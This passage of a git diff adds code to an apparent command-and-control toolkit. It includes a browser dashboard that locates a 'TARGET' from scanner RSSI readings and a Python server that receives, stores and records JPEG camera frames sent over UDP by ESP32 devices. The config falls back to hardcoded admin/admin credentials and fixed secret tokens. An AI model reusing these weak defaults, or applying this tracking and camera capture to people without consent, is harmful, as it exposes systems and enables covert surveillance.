ctx.fillStyle = 'rgba(248, 113, 113, 0.3)';
|
||||||
|
ctx.fill();
|
||||||
|
|
||||||
|
// Cross
|
||||||
|
ctx.strokeStyle = '#f87171';
|
||||||
|
ctx.lineWidth = 3;
|
||||||
|
|
||||||
|
ctx.beginPath();
|
||||||
|
ctx.moveTo(canvasPos.x - 12, canvasPos.y - 12);
|
||||||
|
ctx.lineTo(canvasPos.x + 12, canvasPos.y + 12);
|
||||||
|
ctx.stroke();
|
||||||
|
|
||||||
|
ctx.beginPath();
|
||||||
|
ctx.moveTo(canvasPos.x + 12, canvasPos.y - 12);
|
||||||
|
ctx.lineTo(canvasPos.x - 12, canvasPos.y + 12);
|
||||||
|
ctx.stroke();
|
||||||
|
|
||||||
|
// Label
|
||||||
|
ctx.font = 'bold 12px monospace';
|
||||||
|
ctx.fillStyle = '#f87171';
|
||||||
|
ctx.textAlign = 'center';
|
||||||
|
ctx.fillText('TARGET', canvasPos.x, canvasPos.y - 25);
|
||||||
|
ctx.textAlign = 'left';
|
||||||
|
}
|
||||||
|
|
||||||
|
// ============================================================
|
||||||
|
// Plan Image Upload & Calibration
|
||||||
|
// ============================================================
|
||||||
|
function uploadPlanImage(input) {
|
||||||
|
const file = input.files[0];
|
||||||
|
if (!file) return;
|
||||||
|
|
||||||
|
const reader = new FileReader();
|
||||||
|
reader.onload = function(e) {
|
||||||
|
planImage = new Image();
|
||||||
|
planImage.onload = function() {
|
||||||
|
document.getElementById('calibrate-btn').disabled = false;
|
||||||
|
drawPlan();
|
||||||
|
};
|
||||||
|
planImage.src = e.target.result;
|
||||||
|
};
|
||||||
|
reader.readAsDataURL(file);
|
||||||
|
}
|
||||||
|
|
||||||
|
function calibratePlan() {
|
||||||
|
alert('Calibration: Set the plan dimensions in Plan Settings panel.\n\nThe grid will map x,y meters to your uploaded image.');
|
||||||
|
drawPlan();
|
||||||
|
}
|
||||||
|
|
||||||
|
function clearPlan() {
|
||||||
|
planImage = null;
|
||||||
|
document.getElementById('calibrate-btn').disabled = true;
|
||||||
|
drawPlan();
|
||||||
|
}
|
||||||
|
|
||||||
|
function applyPlanSettings() {
|
||||||
|
planSettings.width = parseFloat(document.getElementById('plan-width').value) || 50;
|
||||||
|
planSettings.height = parseFloat(document.getElementById('plan-height').value) || 30;
|
||||||
|
planSettings.originX = parseFloat(document.getElementById('plan-origin-x').value) || 0;
|
||||||
|
planSettings.originY = parseFloat(document.getElementById('plan-origin-y').value) || 0;
|
||||||
|
updateSizeDisplay();
|
||||||
|
drawPlan();
|
||||||
|
}
|
||||||
|
|
||||||
|
function adjustPlanSize(delta) {
|
||||||
|
// Adjust both width and height proportionally
|
||||||
|
const minSize = 10;
|
||||||
|
const maxSize = 500;
|
||||||
|
|
||||||
|
planSettings.width = Math.max(minSize, Math.min(maxSize, planSettings.width + delta));
|
||||||
|
planSettings.height = Math.max(minSize, Math.min(maxSize, planSettings.height + Math.round(delta * 0.6)));
|
||||||
|
|
||||||
|
// Update input fields in sidebar
|
||||||
|
document.getElementById('plan-width').value = planSettings.width;
|
||||||
|
document.getElementById('plan-height').value = planSettings.height;
|
||||||
|
|
||||||
|
updateSizeDisplay();
|
||||||
|
drawPlan();
|
||||||
|
}
|
||||||
|
|
||||||
|
function updateSizeDisplay() {
|
||||||
|
const el = document.getElementById('size-display');
|
||||||
|
if (el) {
|
||||||
|
el.textContent = `${planSettings.width}x${planSettings.height}m`;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// ============================================================
|
||||||
|
// View Switching
|
||||||
|
// ============================================================
|
||||||
|
function switchView(view) {
|
||||||
|
currentView = view;
|
||||||
|
|
||||||
|
// Update buttons
|
||||||
|
document.querySelectorAll('.view-btn').forEach(btn => {
|
||||||
|
btn.classList.toggle('active', btn.dataset.view === view);
|
||||||
|
});
|
||||||
|
|
||||||
|
// Update views
|
||||||
|
document.getElementById('map-view').classList.toggle('active', view === 'map');
|
||||||
|
document.getElementById('plan-view').classList.toggle('active', view === 'plan');
|
||||||
|
|
||||||
|
// Show/hide settings panels based on view
|
||||||
|
document.getElementById('map-settings').style.display = view === 'map' ? 'block' : 'none';
|
||||||
|
document.getElementById('plan-settings').style.display = view === 'plan' ? 'block' : 'none';
|
||||||
|
|
||||||
|
// Initialize view if needed
|
||||||
|
if (view === 'map') {
|
||||||
|
setTimeout(() => {
|
||||||
|
if (!map) initMap();
|
||||||
|
else map.invalidateSize();
|
||||||
|
updateMapMarkers();
|
||||||
|
}, 100);
|
||||||
|
} else {
|
||||||
|
if (!planCanvas) initPlanCanvas();
|
||||||
|
else resizePlanCanvas();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// ============================================================
|
||||||
|
// UI Updates
|
||||||
|
// ============================================================
|
||||||
|
function updateCoordMode(mode) {
|
||||||
|
coordMode = mode;
|
||||||
|
|
||||||
|
const modeDisplay = document.getElementById('coord-mode');
|
||||||
|
const coord1Label = document.getElementById('target-coord1-label');
|
||||||
|
const coord2Label = document.getElementById('target-coord2-label');
|
||||||
|
|
||||||
|
if (mode === 'gps') {
|
||||||
|
modeDisplay.textContent = 'GPS';
|
||||||
|
coord1Label.textContent = 'Latitude';
|
||||||
|
coord2Label.textContent = 'Longitude';
|
||||||
|
} else {
|
||||||
|
modeDisplay.textContent = 'Local';
|
||||||
|
coord1Label.textContent = 'X (m)';
|
||||||
|
coord2Label.textContent = 'Y (m)';
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
function updateTargetInfo(targetData) {
|
||||||
|
const coord1El = document.getElementById('target-coord1');
|
||||||
|
const coord2El = document.getElementById('target-coord2');
|
||||||
|
|
||||||
|
if (targetData && targetData.position) {
|
||||||
|
const pos = targetData.position;
|
||||||
|
|
||||||
|
if (pos.lat !== undefined) {
|
||||||
|
coord1El.textContent = pos.lat.toFixed(6);
|
||||||
|
coord2El.textContent = pos.lon.toFixed(6);
|
||||||
|
} else if (pos.x !== undefined) {
|
||||||
|
coord1El.textContent = pos.x.toFixed(2) + ' m';
|
||||||
|
coord2El.textContent = pos.y.toFixed(2) + ' m';
|
||||||
|
} else {
|
||||||
|
coord1El.textContent = '-';
|
||||||
|
coord2El.textContent = '-';
|
||||||
|
}
|
||||||
|
|
||||||
|
document.getElementById('target-confidence').textContent = ((targetData.confidence || 0) * 100).toFixed(0) + '%';
|
||||||
|
document.getElementById('target-age').textContent = (targetData.age_seconds || 0).toFixed(1) + 's ago';
|
||||||
|
|
||||||
|
// Store for rendering
|
||||||
|
target = pos;
|
||||||
|
} else {
|
||||||
|
coord1El.textContent = '-';
|
||||||
|
coord2El.textContent = '-';
|
||||||
|
document.getElementById('target-confidence').textContent = '-';
|
||||||
|
document.getElementById('target-age').textContent = '-';
|
||||||
|
target = null;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
function updateScannerList(scannersData) {
|
||||||
|
scanners = scannersData || [];
|
||||||
|
const list = document.getElementById('scanner-list');
|
||||||
|
document.getElementById('scanner-count').textContent = scanners.length;
|
||||||
|
|
||||||
|
if (scanners.length === 0) {
|
||||||
|
list.innerHTML = '<div class="empty">No scanners active</div>';
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
list.innerHTML = scanners.map(s => {
|
||||||
|
const pos = s.position || {};
|
||||||
|
let posStr;
|
||||||
|
|
||||||
|
if (pos.lat !== undefined) {
|
||||||
|
posStr = `(${pos.lat.toFixed(4)}, ${pos.lon.toFixed(4)})`;
|
||||||
|
} else if (pos.x !== undefined) {
|
||||||
|
posStr = `(${pos.x.toFixed(1)}m, ${pos.y.toFixed(1)}m)`;
|
||||||
|
} else {
|
||||||
|
posStr = '(-, -)';
|
||||||
|
}
|
||||||
|
|
||||||
|
return `
|
||||||
|
<div class="scanner-item">
|
||||||
|
<div class="scanner-id">${s.id}</div>
|
||||||
|
<div class="scanner-details">
|
||||||
|
Pos: ${posStr} |
|
||||||
|
RSSI: ${s.last_rssi !== null ? s.last_rssi + ' dBm' : '-'} |
|
||||||
|
Dist: ${s.estimated_distance !== null ? s.estimated_distance + 'm' : '-'}
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
`;
|
||||||
|
}).join('');
|
||||||
|
}
|
||||||
|
|
||||||
|
function updateConfig(config) {
|
||||||
|
if (!config) return;
|
||||||
|
document.getElementById('config-rssi').value = config.rssi_at_1m || -40;
|
||||||
|
document.getElementById('config-n').value = config.path_loss_n || 2.5;
|
||||||
|
document.getElementById('config-smooth').value = config.smoothing_window || 5;
|
||||||
|
}
|
||||||
|
|
||||||
|
// ============================================================
|
||||||
|
// API Functions
|
||||||
|
// ============================================================
|
||||||
|
async function fetchState() {
|
||||||
|
try {
|
||||||
|
const res = await fetch('/api/mlat/state');
|
||||||
|
const state = await res.json();
|
||||||
|
|
||||||
|
// Update coordinate mode from server
|
||||||
|
if (state.coord_mode) {
|
||||||
|
updateCoordMode(state.coord_mode);
|
||||||
|
}
|
||||||
|
|
||||||
|
updateTargetInfo(state.target);
|
||||||
|
updateScannerList(state.scanners);
|
||||||
|
|
||||||
|
if (state.config) {
|
||||||
|
updateConfig(state.config);
|
||||||
|
}
|
||||||
|
|
||||||
|
// Update visualization
|
||||||
|
if (currentView === 'map') {
|
||||||
|
updateMapMarkers();
|
||||||
|
} else {
|
||||||
|
drawPlan();
|
||||||
|
}
|
||||||
|
} catch (e) {
|
||||||
|
console.error('Failed to fetch MLAT state:', e);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
async function saveConfig() {
|
||||||
|
const config = {
|
||||||
|
rssi_at_1m: parseFloat(document.getElementById('config-rssi').value),
|
||||||
|
path_loss_n: parseFloat(document.getElementById('config-n').value),
|
||||||
|
smoothing_window: parseInt(document.getElementById('config-smooth').value)
|
||||||
|
};
|
||||||
|
|
||||||
|
try {
|
||||||
|
await fetch('/api/mlat/config', {
|
||||||
|
method: 'POST',
|
||||||
|
headers: { 'Content-Type': 'application/json' },
|
||||||
|
body: JSON.stringify(config)
|
||||||
|
});
|
||||||
|
console.log('Config saved');
|
||||||
|
} catch (e) {
|
||||||
|
console.error('Failed to save config:', e);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
async function clearData() {
|
||||||
|
try {
|
||||||
|
await fetch('/api/mlat/clear', { method: 'POST' });
|
||||||
|
fetchState();
|
||||||
|
} catch (e) {
|
||||||
|
console.error('Failed to clear data:', e);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// ============================================================
|
||||||
|
// Initialization
|
||||||
|
// ============================================================
|
||||||
|
document.addEventListener('DOMContentLoaded', () => {
|
||||||
|
// Initialize map view by default
|
||||||
|
initMap();
|
||||||
|
initPlanCanvas();
|
||||||
|
|
||||||
|
// Initialize displays
|
||||||
|
updateZoomDisplay();
|
||||||
|
updateSizeDisplay();
|
||||||
|
|
||||||
|
// Start polling
|
||||||
|
fetchState();
|
||||||
|
setInterval(fetchState, 2000);
|
||||||
|
});
|
||||||
3
tools/c2/streams/__init__.py
Normal file
3
tools/c2/streams/__init__.py
Normal file
@ -0,0 +1,3 @@
|
|||||||
|
from .server import CameraServer
|
||||||
|
|
||||||
|
__all__ = ["CameraServer"]
|
||||||
65
tools/c2/streams/config.py
Normal file
65
tools/c2/streams/config.py
Normal file
@ -0,0 +1,65 @@
|
|||||||
|
"""Configuration loader for camera server module - reads from .env file."""
|
||||||
|
|
||||||
|
import os
|
||||||
|
from pathlib import Path
|
||||||
|
from dotenv import load_dotenv
|
||||||
|
|
||||||
|
# Load .env file from c2 root directory
|
||||||
|
C2_ROOT = Path(__file__).parent.parent
|
||||||
|
ENV_FILE = C2_ROOT / ".env"
|
||||||
|
|
||||||
|
if ENV_FILE.exists():
|
||||||
|
load_dotenv(ENV_FILE)
|
||||||
|
else:
|
||||||
|
# Try .env.example as fallback for development
|
||||||
|
example_env = C2_ROOT / ".env.example"
|
||||||
|
if example_env.exists():
|
||||||
|
load_dotenv(example_env)
|
||||||
|
|
||||||
|
|
||||||
|
def _get_bool(key: str, default: bool = False) -> bool:
|
||||||
|
"""Get boolean value from environment."""
|
||||||
|
val = os.getenv(key, str(default)).lower()
|
||||||
|
return val in ("true", "1", "yes", "on")
|
||||||
|
|
||||||
|
|
||||||
|
def _get_int(key: str, default: int) -> int:
|
||||||
|
"""Get integer value from environment."""
|
||||||
|
try:
|
||||||
|
return int(os.getenv(key, default))
|
||||||
|
except ValueError:
|
||||||
|
return default
|
||||||
|
|
||||||
|
|
||||||
|
# C2 Server
|
||||||
|
C2_HOST = os.getenv("C2_HOST", "0.0.0.0")
|
||||||
|
C2_PORT = _get_int("C2_PORT", 2626)
|
||||||
|
|
||||||
|
# UDP Server configuration
|
||||||
|
UDP_HOST = os.getenv("UDP_HOST", "0.0.0.0")
|
||||||
|
UDP_PORT = _get_int("UDP_PORT", 5000)
|
||||||
|
UDP_BUFFER_SIZE = _get_int("UDP_BUFFER_SIZE", 65535)
|
||||||
|
|
||||||
|
# Flask Web Server configuration
|
||||||
|
WEB_HOST = os.getenv("WEB_HOST", "0.0.0.0")
|
||||||
|
WEB_PORT = _get_int("WEB_PORT", 8000)
|
||||||
|
|
||||||
|
# Security
|
||||||
|
SECRET_TOKEN = os.getenv("CAMERA_SECRET_TOKEN", "Sup3rS3cretT0k3n").encode()
|
||||||
|
FLASK_SECRET_KEY = os.getenv("FLASK_SECRET_KEY", "change_this_for_prod")
|
||||||
|
|
||||||
|
# Credentials
|
||||||
|
DEFAULT_USERNAME = os.getenv("WEB_USERNAME", "admin")
|
||||||
|
DEFAULT_PASSWORD = os.getenv("WEB_PASSWORD", "admin")
|
||||||
|
|
||||||
|
# Storage paths
|
||||||
|
IMAGE_DIR = os.getenv("IMAGE_DIR", "static/streams")
|
||||||
|
|
||||||
|
# Video recording
|
||||||
|
VIDEO_ENABLED = _get_bool("VIDEO_ENABLED", True)
|
||||||
|
VIDEO_PATH = os.getenv("VIDEO_PATH", "static/streams/record.avi")
|
||||||
|
VIDEO_FPS = _get_int("VIDEO_FPS", 10)
|
||||||
|
VIDEO_CODEC = os.getenv("VIDEO_CODEC", "MJPG")
|
||||||
|
|
||||||
|
# Multilateration
|
||||||
|
MULTILAT_AUTH_TOKEN = os.getenv("MULTILAT_AUTH_TOKEN", "multilat_secret_token")
|
||||||
134
tools/c2/streams/server.py
Normal file
134
tools/c2/streams/server.py
Normal file
@ -0,0 +1,134 @@
|
|||||||
|
"""Main camera server combining UDP receiver and unified web server."""
|
||||||
|
|
||||||
|
from typing import Optional, Callable
|
||||||
|
|
||||||
|
from .config import (
|
||||||
|
UDP_HOST, UDP_PORT, WEB_HOST, WEB_PORT, IMAGE_DIR,
|
||||||
|
DEFAULT_USERNAME, DEFAULT_PASSWORD, FLASK_SECRET_KEY, MULTILAT_AUTH_TOKEN
|
||||||
|
)
|
||||||
|
from .udp_receiver import UDPReceiver
|
||||||
|
from web.server import UnifiedWebServer
|
||||||
|
from web.mlat import MlatEngine
|
||||||
|
|
||||||
|
|
||||||
|
class CameraServer:
|
||||||
|
"""
|
||||||
|
Combined camera server that manages both:
|
||||||
|
- UDP receiver for incoming camera frames from ESP devices
|
||||||
|
- Unified web server for dashboard, cameras, and trilateration
|
||||||
|
"""
|
||||||
|
|
||||||
|
def __init__(self,
|
||||||
|
udp_host: str = UDP_HOST,
|
||||||
|
udp_port: int = UDP_PORT,
|
||||||
|
web_host: str = WEB_HOST,
|
||||||
|
web_port: int = WEB_PORT,
|
||||||
|
image_dir: str = IMAGE_DIR,
|
||||||
|
username: str = DEFAULT_USERNAME,
|
||||||
|
password: str = DEFAULT_PASSWORD,
|
||||||
|
device_registry=None,
|
||||||
|
on_frame: Optional[Callable] = None):
|
||||||
|
"""
|
||||||
|
Initialize the camera server.
|
||||||
|
|
||||||
|
Args:
|
||||||
|
udp_host: Host to bind UDP receiver
|
||||||
|
udp_port: Port for UDP receiver
|
||||||
|
web_host: Host to bind web server
|
||||||
|
web_port: Port for web server
|
||||||
|
image_dir: Directory to store camera frames
|
||||||
|
username: Web interface username
|
||||||
|
password: Web interface password
|
||||||
|
device_registry: DeviceRegistry instance for device listing
|
||||||
|
on_frame: Optional callback when frame is received (camera_id, frame, addr)
|
||||||
|
"""
|
||||||
|
self.mlat_engine = MlatEngine()
|
||||||
|
|
||||||
|
self.udp_receiver = UDPReceiver(
|
||||||
|
host=udp_host,
|
||||||
|
port=udp_port,
|
||||||
|
image_dir=image_dir,
|
||||||
|
on_frame=on_frame
|
||||||
|
)
|
||||||
|
|
||||||
|
self.web_server = UnifiedWebServer(
|
||||||
|
host=web_host,
|
||||||
|
port=web_port,
|
||||||
|
image_dir=image_dir,
|
||||||
|
username=username,
|
||||||
|
password=password,
|
||||||
|
secret_key=FLASK_SECRET_KEY,
|
||||||
|
multilat_token=MULTILAT_AUTH_TOKEN,
|
||||||
|
device_registry=device_registry,
|
||||||
|
mlat_engine=self.mlat_engine
|
||||||
|
)
|
||||||
|
|
||||||
|
@property
|
||||||
|
def is_running(self) -> bool:
|
||||||
|
"""Check if both servers are running."""
|
||||||
|
return self.udp_receiver.is_running and self.web_server.is_running
|
||||||
|
|
||||||
|
@property
|
||||||
|
def udp_running(self) -> bool:
|
||||||
|
return self.udp_receiver.is_running
|
||||||
|
|
||||||
|
@property
|
||||||
|
def web_running(self) -> bool:
|
||||||
|
return self.web_server.is_running
|
||||||
|
|
||||||
|
def start(self) -> dict:
|
||||||
|
"""
|
||||||
|
Start both UDP receiver and web server.
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
dict with status of each server
|
||||||
|
"""
|
||||||
|
results = {
|
||||||
|
"udp": {"started": False, "host": self.udp_receiver.host, "port": self.udp_receiver.port},
|
||||||
|
"web": {"started": False, "host": self.web_server.host, "port": self.web_server.port}
|
||||||
|
}
|
||||||
|
|
||||||
|
if self.udp_receiver.start():
|
||||||
|
results["udp"]["started"] = True
|
||||||
|
|
||||||
|
if self.web_server.start():
|
||||||
|
results["web"]["started"] = True
|
||||||
|
results["web"]["url"] = self.web_server.get_url()
|
||||||
|
|
||||||
|
return results
|
||||||
|
|
||||||
|
def stop(self) -> dict:
|
||||||
|
"""
|
||||||
|
Stop both servers.
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
dict with stop status
|
||||||
|
"""
|
||||||
|
self.udp_receiver.stop()
|
||||||
|
self.web_server.stop()
|
||||||
|
|
||||||
|
return {
|
||||||
|
"udp": {"stopped": True},
|
||||||
|
"web": {"stopped": True}
|
||||||
|
}
|
||||||
|
|
||||||
|
def get_status(self) -> dict:
|
||||||
|
"""Get status of both servers."""
|
||||||
|
return {
|
||||||
|
"udp": {
|
||||||
|
"running": self.udp_receiver.is_running,
|
||||||
|
"host": self.udp_receiver.host,
|
||||||
|
"port": self.udp_receiver.port,
|
||||||
|
**self.udp_receiver.get_stats()
|
||||||
|
},
|
||||||
|
"web": {
|
||||||
|
"running": self.web_server.is_running,
|
||||||
|
"host": self.web_server.host,
|
||||||
|
"port": self.web_server.port,
|
||||||
|
"url": self.web_server.get_url() if self.web_server.is_running else None
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
def get_active_cameras(self) -> list:
|
||||||
|
"""Get list of active camera IDs."""
|
||||||
|
return self.udp_receiver.active_cameras
|
||||||
468
tools/c2/streams/udp_receiver.py
Normal file
468
tools/c2/streams/udp_receiver.py
Normal file
@ -0,0 +1,468 @@
|
|||||||
|
"""UDP server for receiving camera frames from ESP devices.
|
||||||
|
|
||||||
|
Protocol from ESP32:
|
||||||
|
- TOKEN + "START" -> Start of new frame
|
||||||
|
- TOKEN + chunk -> JPEG data chunk
|
||||||
|
- TOKEN + "END" -> End of frame, decode and process
|
||||||
|
"""
|
||||||
|
|
||||||
|
import os
|
||||||
|
import socket
|
||||||
|
import threading
|
||||||
|
import time
|
||||||
|
import cv2
|
||||||
|
import numpy as np
|
||||||
|
from datetime import datetime
|
||||||
|
from typing import Optional, Callable, Dict
|
||||||
|
|
||||||
|
from .config import (
|
||||||
|
UDP_HOST, UDP_PORT, UDP_BUFFER_SIZE,
|
||||||
|
SECRET_TOKEN, IMAGE_DIR,
|
||||||
|
VIDEO_FPS, VIDEO_CODEC
|
||||||
|
)
|
||||||
|
|
||||||
|
# Camera timeout - mark as inactive after this many seconds without frames
|
||||||
|
CAMERA_TIMEOUT_SECONDS = 5
|
||||||
|
|
||||||
|
|
||||||
|
class FrameAssembler:
|
||||||
|
"""Assembles JPEG frames from multiple UDP packets."""
|
||||||
|
|
||||||
|
def __init__(self, timeout: float = 5.0):
|
||||||
|
self.timeout = timeout
|
||||||
|
self.buffer = bytearray()
|
||||||
|
self.start_time: Optional[float] = None
|
||||||
|
self.receiving = False
|
||||||
|
|
||||||
|
def start_frame(self):
|
||||||
|
self.buffer = bytearray()
|
||||||
|
self.start_time = time.time()
|
||||||
|
self.receiving = True
|
||||||
|
|
||||||
|
def add_chunk(self, data: bytes) -> bool:
|
||||||
|
if not self.receiving:
|
||||||
|
return False
|
||||||
|
if self.start_time and (time.time() - self.start_time) > self.timeout:
|
||||||
|
self.reset()
|
||||||
|
return False
|
||||||
|
self.buffer.extend(data)
|
||||||
|
return True
|
||||||
|
|
||||||
|
def finish_frame(self) -> Optional[bytes]:
|
||||||
|
if not self.receiving or len(self.buffer) == 0:
|
||||||
|
return None
|
||||||
|
data = bytes(self.buffer)
|
||||||
|
self.reset()
|
||||||
|
return data
|
||||||
|
|
||||||
|
def reset(self):
|
||||||
|
self.buffer = bytearray()
|
||||||
|
self.start_time = None
|
||||||
|
self.receiving = False
|
||||||
|
|
||||||
|
|
||||||
|
class CameraRecorder:
|
||||||
|
"""Handles video recording for a single camera."""
|
||||||
|
|
||||||
|
def __init__(self, camera_id: str, output_dir: str):
|
||||||
|
self.camera_id = camera_id
|
||||||
|
self.output_dir = output_dir
|
||||||
|
self._writer: Optional[cv2.VideoWriter] = None
|
||||||
|
self._video_size: Optional[tuple] = None
|
||||||
|
self._recording = False
|
||||||
|
self._filename: Optional[str] = None
|
||||||
|
self._frame_count = 0
|
||||||
|
self._start_time: Optional[float] = None
|
||||||
|
|
||||||
|
@property
|
||||||
|
def is_recording(self) -> bool:
|
||||||
|
return self._recording
|
||||||
|
|
||||||
|
@property
|
||||||
|
def filename(self) -> Optional[str]:
|
||||||
|
return self._filename
|
||||||
|
|
||||||
|
@property
|
||||||
|
def duration(self) -> float:
|
||||||
|
if self._start_time:
|
||||||
|
return time.time() - self._start_time
|
||||||
|
return 0
|
||||||
|
|
||||||
|
@property
|
||||||
|
def frame_count(self) -> int:
|
||||||
|
return self._frame_count
|
||||||
|
|
||||||
|
def start(self) -> str:
|
||||||
|
if self._recording:
|
||||||
|
return self._filename
|
||||||
|
|
||||||
|
timestamp = datetime.now().strftime("%Y%m%d_%H%M%S")
|
||||||
|
safe_id = self.camera_id.replace(":", "_").replace(".", "_")
|
||||||
|
self._filename = f"recording_{safe_id}_{timestamp}.avi"
|
||||||
|
self._recording = True
|
||||||
|
self._frame_count = 0
|
||||||
|
self._start_time = time.time()
|
||||||
|
return self._filename
|
||||||
|
|
||||||
|
def stop(self) -> dict:
|
||||||
|
if not self._recording:
|
||||||
|
return {"error": "Not recording"}
|
||||||
|
|
||||||
|
self._recording = False
|
||||||
|
result = {
|
||||||
|
"filename": self._filename,
|
||||||
|
"frames": self._frame_count,
|
||||||
|
"duration": self.duration
|
||||||
|
}
|
||||||
|
|
||||||
|
if self._writer:
|
||||||
|
self._writer.release()
|
||||||
|
self._writer = None
|
||||||
|
|
||||||
|
self._video_size = None
|
||||||
|
return result
|
||||||
|
|
||||||
|
def write_frame(self, frame: np.ndarray):
|
||||||
|
if not self._recording:
|
||||||
|
return
|
||||||
|
|
||||||
|
if self._writer is None:
|
||||||
|
self._video_size = (frame.shape[1], frame.shape[0])
|
||||||
|
fourcc = cv2.VideoWriter_fourcc(*VIDEO_CODEC)
|
||||||
|
video_path = os.path.join(self.output_dir, self._filename)
|
||||||
|
self._writer = cv2.VideoWriter(
|
||||||
|
video_path, fourcc, VIDEO_FPS, self._video_size
|
||||||
|
)
|
||||||
|
|
||||||
|
if self._writer and self._writer.isOpened():
|
||||||
|
self._writer.write(frame)
|
||||||
|
self._frame_count += 1
|
||||||
|
|
||||||
|
|
||||||
|
class UDPReceiver:
|
||||||
|
"""Receives JPEG frames via UDP from ESP camera devices."""
|
||||||
|
|
||||||
|
def __init__(self,
|
||||||
|
host: str = UDP_HOST,
|
||||||
|
port: int = UDP_PORT,
|
||||||
|
image_dir: str = IMAGE_DIR,
|
||||||
|
on_frame: Optional[Callable] = None,
|
||||||
|
device_registry=None):
|
||||||
|
self.host = host
|
||||||
|
self.port = port
|
||||||
|
self.image_dir = image_dir
|
||||||
|
self.on_frame = on_frame
|
||||||
|
self.device_registry = device_registry
|
||||||
|
|
||||||
|
self._sock: Optional[socket.socket] = None
|
||||||
|
self._thread: Optional[threading.Thread] = None
|
||||||
|
self._stop_event = threading.Event()
|
||||||
|
|
||||||
|
# Frame assemblers per source address
|
||||||
|
self._assemblers: Dict[str, FrameAssembler] = {}
|
||||||
|
|
||||||
|
# Per-camera recorders (keyed by device_id)
|
||||||
|
self._recorders: Dict[str, CameraRecorder] = {}
|
||||||
|
self._recordings_dir = os.path.join(os.path.dirname(image_dir), "recordings")
|
||||||
|
|
||||||
|
# IP to device_id mapping cache
|
||||||
|
self._ip_to_device: Dict[str, str] = {}
|
||||||
|
|
||||||
|
# Statistics
|
||||||
|
self.frames_received = 0
|
||||||
|
self.invalid_tokens = 0
|
||||||
|
self.decode_errors = 0
|
||||||
|
self.packets_received = 0
|
||||||
|
|
||||||
|
# Active cameras tracking: {device_id: {"last_frame": timestamp, "active": bool}}
|
||||||
|
self._active_cameras: Dict[str, dict] = {}
|
||||||
|
|
||||||
|
os.makedirs(self.image_dir, exist_ok=True)
|
||||||
|
os.makedirs(self._recordings_dir, exist_ok=True)
|
||||||
|
|
||||||
|
def set_device_registry(self, registry):
|
||||||
|
"""Set device registry for IP to device_id lookup."""
|
||||||
|
self.device_registry = registry
|
||||||
|
|
||||||
|
@property
|
||||||
|
def is_running(self) -> bool:
|
||||||
|
return self._thread is not None and self._thread.is_alive()
|
||||||
|
|
||||||
|
@property
|
||||||
|
def active_cameras(self) -> list:
|
||||||
|
"""Returns list of active camera device IDs."""
|
||||||
|
return [cid for cid, info in self._active_cameras.items() if info.get("active", False)]
|
||||||
|
|
||||||
|
def _get_device_id_from_ip(self, ip: str) -> Optional[str]:
|
||||||
|
"""Look up device_id from IP address using device registry."""
|
||||||
|
# Check cache first
|
||||||
|
if ip in self._ip_to_device:
|
||||||
|
return self._ip_to_device[ip]
|
||||||
|
|
||||||
|
# Look up in device registry
|
||||||
|
if self.device_registry:
|
||||||
|
for device in self.device_registry.all():
|
||||||
|
if device.address and device.address[0] == ip:
|
||||||
|
self._ip_to_device[ip] = device.id
|
||||||
|
return device.id
|
||||||
|
|
||||||
|
return None
|
||||||
|
|
||||||
|
def start(self) -> bool:
|
||||||
|
if self.is_running:
|
||||||
|
return False
|
||||||
|
|
||||||
|
self._stop_event.clear()
|
||||||
|
self._thread = threading.Thread(target=self._receive_loop, daemon=True)
|
||||||
|
self._thread.start()
|
||||||
|
|
||||||
|
# Start timeout checker
|
||||||
|
self._timeout_thread = threading.Thread(target=self._timeout_checker, daemon=True)
|
||||||
|
self._timeout_thread.start()
|
||||||
|
|
||||||
|
return True
|
||||||
|
|
||||||
|
def stop(self):
|
||||||
|
self._stop_event.set()
|
||||||
|
|
||||||
|
if self._sock:
|
||||||
|
try:
|
||||||
|
self._sock.close()
|
||||||
|
except Exception:
|
||||||
|
pass
|
||||||
|
self._sock = None
|
||||||
|
|
||||||
|
for recorder in self._recorders.values():
|
||||||
|
if recorder.is_recording:
|
||||||
|
recorder.stop()
|
||||||
|
|
||||||
|
self._cleanup_frames()
|
||||||
|
self._active_cameras.clear()
|
||||||
|
self._assemblers.clear()
|
||||||
|
self._recorders.clear()
|
||||||
|
self._ip_to_device.clear()
|
||||||
|
self.frames_received = 0
|
||||||
|
self.packets_received = 0
|
||||||
|
|
||||||
|
def _cleanup_frames(self):
|
||||||
|
"""Remove all .jpg files from image directory."""
|
||||||
|
try:
|
||||||
|
for f in os.listdir(self.image_dir):
|
||||||
|
if f.endswith(".jpg"):
|
||||||
|
os.remove(os.path.join(self.image_dir, f))
|
||||||
|
except Exception:
|
||||||
|
pass
|
||||||
|
|
||||||
|
def _timeout_checker(self):
|
||||||
|
"""Check for camera timeouts and mark them as inactive."""
|
||||||
|
while not self._stop_event.is_set():
|
||||||
|
time.sleep(1)
|
||||||
|
now = time.time()
|
||||||
|
|
||||||
|
for camera_id, info in list(self._active_cameras.items()):
|
||||||
|
last_frame = info.get("last_frame", 0)
|
||||||
|
was_active = info.get("active", False)
|
||||||
|
|
||||||
|
if now - last_frame > CAMERA_TIMEOUT_SECONDS:
|
||||||
|
if was_active:
|
||||||
|
self._active_cameras[camera_id]["active"] = False
|
||||||
|
# Remove the frame file so frontend shows default image
|
||||||
|
self._remove_camera_frame(camera_id)
|
||||||
|
|
||||||
|
def _remove_camera_frame(self, camera_id: str):
|
||||||
|
"""Remove the frame file for a camera."""
|
||||||
|
try:
|
||||||
|
filepath = os.path.join(self.image_dir, f"{camera_id}.jpg")
|
||||||
|
if os.path.exists(filepath):
|
||||||
|
os.remove(filepath)
|
||||||
|
except Exception:
|
||||||
|
pass
|
||||||
|
|
||||||
|
def _get_assembler(self, addr: tuple) -> FrameAssembler:
|
||||||
|
key = f"{addr[0]}:{addr[1]}"
|
||||||
|
if key not in self._assemblers:
|
||||||
|
self._assemblers[key] = FrameAssembler()
